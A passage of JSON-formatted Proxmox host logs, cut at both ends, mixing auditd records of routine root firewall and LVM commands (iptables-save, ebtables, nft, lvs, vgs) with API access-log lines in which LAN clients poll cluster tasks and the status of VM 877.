key=\"exec\""} {"@timestamp":1781965635821,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.821:66440): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966163778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965315918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.918:65092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.490:61471): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635813,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.813:66439): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966162777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781965315911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.911:65091): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545483,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.483:61470): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635803,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.803:66438): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966161752,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1152"} {"@timestamp":1781965315903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.903:65090): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.476:61469): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.792:66437): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966161752,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965315897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.897:65089): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ea16cbd6740 items=0 ppid=1156 pid=62525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964545470,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.470:61468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59006 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965634960,"@rawstring":"node=pve type=EXECVE msg=audit(1781965634.960:66436): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966161752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965315895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.895:65088): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14ae30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.463:61467): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59005 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965634934,"@rawstring":"node=pve type=EXECVE msg=audit(1781965634.934:66435): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966159759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965315888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.888:65087): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e67a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.456:61466): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13af50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965633762,"@rawstring":"node=pve type=EXECVE msg=audit(1781965633.762:66434): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966159759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965315883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.883:65086): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1474f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964544778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.778:61465): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965633751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965633.751:66431): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966159759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:58 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965315877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.877:65085): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a270 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964544766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.766:61462): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965628741,"@rawstring":"node=pve type=EXECVE msg=audit(1781965628.741:66428): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966158741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1152"} {"@timestamp":1781965315871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.871:65084): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1474f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964544317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.317:61459): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d27071e0 a1=64f8d1417400 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965628732,"@rawstring":"node=pve type=EXECVE msg=audit(1781965628.732:66425): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966158741,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965315865,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.865:65083): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b58f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964544291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964544.291:61458): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625779,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.779:66422): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966158741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965315858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.858:65082): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964539761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.761:61457): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625775,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.775:66421): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966157764,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781965315852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.852:65081): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964539751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.751:61454): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625773,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.773:66420): argc=1 a0=\"date\""} {"@timestamp":1781966155749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965315847,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.847:65080): arch=c000003e syscall=59 success=yes exit=0 a0=62a1da1a0ed0 a1=62a1da19dc50 a2=62a1da17f680 a3=5 items=2 ppid=62511 pid=62517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.445:61451): arch=c000003e syscall=59 success=yes exit=0 a0=64d4c221e0a0 a1=64d4c221ae20 a2=64d4c21fc680 a3=5 items=2 ppid=58987 pid=58993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625769,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.769:66418): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966155749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1152"} {"@timestamp":1781965315840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.840:65079): arch=c000003e syscall=59 success=yes exit=0 a0=62a1a9f52ac8 a1=7fffdd6c28f0 a2=62a1da17f680 a3=62a1a9f3624e items=2 ppid=62511 pid=62513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.441:61450): arch=c000003e syscall=59 success=yes exit=0 a0=64d48c58eac8 a1=7ffc92ab1dc0 a2=64d4c21fc680 a3=64d48c57224e items=2 ppid=58987 pid=58989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625760,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.760:66417): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.839:65078): arch=c000003e syscall=59 success=yes exit=0 a0=7fffdd6c28b0 a1=62a1da186310 a2=62a1da17f680 a3=5 items=2 ppid=62511 pid=62512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.440:61449): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc92ab1d80 a1=64d4c2203310 a2=64d4c21fc680 a3=5 items=2 ppid=58987 pid=58988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.751:66416): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965315831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.831:65076): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.437:61447): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58987 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625743,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.743:66415): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965315823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.823:65075): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.431:61446): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625734,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.734:66414): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966154753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965315816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.816:65074): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.425:61445): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625724,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.724:66412): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966152908,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781965315811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.811:65073): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9060 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.418:61444): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625717,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.717:66411): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966152908,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965315802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.802:65072): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.412:61443): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625708,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.708:66410): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966152908,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965315795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.795:65071): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134d20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535409,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.409:61442): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5ba1353df740 items=0 ppid=1156 pid=58982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965625700,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.700:66409): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966151697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781965314943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965314.943:65070): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae6f0 a1=64f8d7414f50 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.407:61441): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1476f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" 